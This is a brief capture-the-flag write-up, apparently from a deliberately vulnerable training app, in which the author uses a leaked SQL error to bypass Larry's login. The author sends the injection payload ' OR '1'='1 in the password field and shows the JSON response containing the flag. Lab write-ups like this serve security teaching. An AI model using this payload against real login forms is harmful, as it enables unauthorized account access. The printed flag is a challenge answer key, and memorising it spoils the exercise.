Submit flag

This is not the correct password for Larry, please try again.

I tried a few different passwords until I got a SQL exception

So I tried a SQL injection for the password knowing this information from the exception:

[select password from challenge_users where userid = 'Larry' and password = 'test']

I edited the request to have the following payload send in the password field: ' OR '1'='1

```
{
  "lessonCompleted" : true,
  "feedback" : "Congratulations, you solved the challenge. Here is your flag: ab7b9597-7b20-49ad-be2d-93f9d9f482c2",
  "output" : null,
  "assignment" : "Assignment5",
  "attemptWasMade" : true
}
```

It works and gives me the flag.
